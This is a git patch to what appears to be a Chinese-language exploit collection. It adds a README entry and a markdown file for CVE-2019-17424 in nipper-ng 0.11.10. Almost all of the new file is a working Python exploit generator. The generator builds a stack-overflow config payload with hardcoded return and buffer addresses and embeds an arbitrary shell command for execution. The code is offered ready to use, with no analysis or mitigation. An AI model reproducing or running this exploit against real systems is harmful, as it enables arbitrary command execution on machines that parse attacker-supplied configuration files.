From 6fae105b067ba466189cb66a88a2e9b9d5fb5680 Mon Sep 17 00:00:00 2001
From: mr-xn <mrxn.net@gmail.com>
Date: Mon, 18 Nov 2019 23:04:43 +0800
Subject: [PATCH] =?UTF-8?q?add=20cve-2019-17424=20nipper-ng=5F0.11.10-Remo?=
 =?UTF-8?q?te=5FBuffer=5FOverflow=E8=BF=9C=E7=A8=8B=E7=BC=93=E5=86=B2?=
 =?UTF-8?q?=E5=8C=BA=E6=BA=A2=E5=87=BA=E9=99=84PoC?=
MIME-Version: 1.0
Content-Type: text/plain; charset=UTF-8
Content-Transfer-Encoding: 8bit

---
 README.md                                     |   1 +
 ...mote_Buffer_Overflow远程缓冲区溢出附PoC.md | 112 ++++++++++++++++++
 2 files changed, 113 insertions(+)
 create mode 100644 cve-2019-17424 nipper-ng_0.11.10-Remote_Buffer_Overflow远程缓冲区溢出附PoC.md

diff --git a/README.md b/README.md
index 013796f..ff671f7 100644
--- a/README.md
+++ b/README.md
@@ -87,6 +87,7 @@
 - [CVE-2019-7580 thinkcmf-5.0.190111后台任意文件写入导致的代码执行](CVE-2019-7580%20thinkcmf-5.0.190111后台任意文件写入导致的代码执行.md)
 - [Apache Flink任意Jar包上传导致远程代码执行](https://github.com/LandGrey/flink-unauth-rce)
 - [用于检测JSON接口令牌安全性测试](https://github.com/ticarpi/jwt_tool)
+- [cve-2019-17424 nipper-ng_0.11.10-Remote_Buffer_Overflow远程缓冲区溢出附PoC](cve-2019-17424%20nipper-ng_0.11.10-Remote_Buffer_Overflow远程缓冲区溢出附PoC.md)
 
 ## 提权辅助相关
 
diff --git a/cve-2019-17424 nipper-ng_0.11.10-Remote_Buffer_Overflow远程缓冲区溢出附PoC.md b/cve-2019-17424 nipper-ng_0.11.10-Remote_Buffer_Overflow远程缓冲区溢出附PoC.md
new file mode 100644
index 0000000..79cb66d
--- /dev/null
+++ b/cve-2019-17424 nipper-ng_0.11.10-Remote_Buffer_Overflow远程缓冲区溢出附PoC.md	
@@ -0,0 +1,112 @@
+## CVE-2019-17424 nipper-ng_0.11.10-Remote_Buffer_Overflow远程缓冲区溢出附PoC  
+
+## 简介  
+
+> Nipper是一个网络基础结构配置解析器，也是设备（防火墙，路由器以及网络基础设施）安全配置检查工具所以也是一种黑客工具，可也检查目标设备是否有脆弱性配置，它能检查并给出建议。
+
+## POC  
+
+```
+# Exploit Title: nipper-ng 0.11.10 - Remote Buffer Overflow (PoC)
+# Date: 2019-10-20
+# Exploit Author: Guy Levin
+# https://blog.vastart.dev
+# Vendor Homepage: https://tools.kali.org/reporting-tools/nipper-ng
+# Software Link: https://code.google.com/archive/p/nipper-ng/source/default/source
+# Version:  0.11.10
+# Tested on: Debian
+# CVE : CVE-2019-17424
+
+"""
+    Exploit generator created by Guy Levin (@va_start - twitter.com/va_start)
+    Vulnerability found by Guy Levin (@va_start - twitter.com/va_start)
+
+    For a detailed writeup of CVE-2019-17424 and the exploit building process, read my blog post
+    https://blog.vastart.dev/2019/10/stack-overflow-cve-2019-17424.html
+
+    may need to run nipper-ng with enviroment variable LD_BIND_NOW=1 on ceratin systems
+"""
+
+import sys
+import struct
+
+def pack_dword(i):
+    return struct.pack("<I", i)
+
+def prepare_shell_command(shell_command):
+    return shell_command.replace(" ", "${IFS}")
+
+def build_exploit(shell_command):
+    EXPLOIT_SKELETON = r"privilage exec level 1 " \
+                        "aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa " \
+                        "aasaaataaauaaavaaawaaaxaaayaaazaabbaabcaabdaabeaabfaabgaabhaabiaabjaab " \
+                        "kaablaabmaabnaaboaabpaabqaabraabsaabtaabuaabvaabwaabxaabyaabzaacbaacca " \
+                        "acdaaceaacfaacgaachaaciaacjaackaaclaacmaacnaacoaacpaacqaacraacsaactaac " \
+                        "uaacvaacwaacxaacyaaczaadbaadcaaddaadeaadfaadgaadhaadiaadjaadkaadlaadma " \
+                        "adnaadoaadpaadqaadraadsaadtaaduaadvaadwaadxaadyaadzaaebaaecaaedaaeeaae " \
+                        "faaegaaehaaeiaaejaaekaaelaaemaaenaaeoaaepaaeqaaeraaesaaetaaeuaaevaaewa " \
+                        "aexaaeyaaezaafbaafcaafdaafeaaffaafgaafhaafiaafjaafkaaflaafmaafnaafoaaf " \
+                        "paafqaafraafsaaftaafuaafvaafwaafxaafyaafzaagbaagcaagdaageaagfaaggaagha " \
+                        "agiaagjaagkaaglaagmaagnaagoaagpaagqaagraagsaagtaaguaagvaagwaagxaagyaag " \
+                        "zaahbaahcaahdaaheaahfaahgaahhaahiaahjaahkaahlaahmaahnaahoaahpaahqaahra " \
+                        "ahaaaataahuaahvaahwaahpaaaaaaazaaibaaicaaidaaieaaifaaigaaihaaiiaaijaai " \
+                        "kaailaaimaainaaioaaipaaiqaairaaisaaitaaiuaaivaaiwaaixaaiyaaizaajbaajca " \
+                        "ajdaajeaajfaajgaajhaajiaajjaajkaajlaajmaajnaajoaajpaajqaajraajsaajtaaj"
+
+    WRITEABLE_BUFFER = 0x080FA001
+    CALL_TO_SYSTEM = 0x0804E870
+    COMMAND_BUFFER = 0x080FA015 
+
+    OFFSET_FOR_WRITEABLE_BUFFER = 0x326
+    OFFSET_FOR_RETURN = 0x33a
+    OFFSET_FOR_COMMAND_BUFFER = 0x33e
+    
+    OFFSET_FOR_SHELL_COMMAND = 0x2a
+    MAX_SHELL_COMMAND_CHARS = 48
+
+    target_values_at_offsets = {
+        WRITEABLE_BUFFER : OFFSET_FOR_WRITEABLE_BUFFER, 
+        CALL_TO_SYSTEM : OFFSET_FOR_RETURN, 
+        COMMAND_BUFFER : OFFSET_FOR_COMMAND_BUFFER
+        }
+
+    exploit = bytearray(EXPLOIT_SKELETON, "ascii")
+    
+    # copy pointers
+    for target_value, target_offset in target_values_at_offsets.items():
+        target_value = pack_dword(target_value)
+        exploit[target_offset:target_offset+len(target_value)] = target_value
+
+    # copy payload
+    if len(shell_command) > MAX_SHELL_COMMAND_CHARS:
+        raise ValueError("shell command is too big")
+    shell_command = prepare_shell_command(shell_command)
+    if len(shell_command) > MAX_SHELL_COMMAND_CHARS:
+        raise ValueError("shell command is too big after replacing spaces")
+
+    # adding padding to end of shell command
+    for i, letter in enumerate(shell_command + "&&"):
+        exploit[OFFSET_FOR_SHELL_COMMAND+i] = ord(letter)
+
+    return exploit
+
+def main():
+    if len(sys.argv) != 3:
+        print(f"usage: {sys.argv[0]} <shell command to execute> <output file>")
+        return 1
+
+    try:
+        payload = build_exploit(sys.argv[1])
+    except Exception as e:
+        print(f"error building exploit: {e}")
+        return 1
+
+    open(sys.argv[2], "wb").write(payload)
+
+    return 0 # success
+
+if __name__ == '__main__':
+    main()
+            
+```
+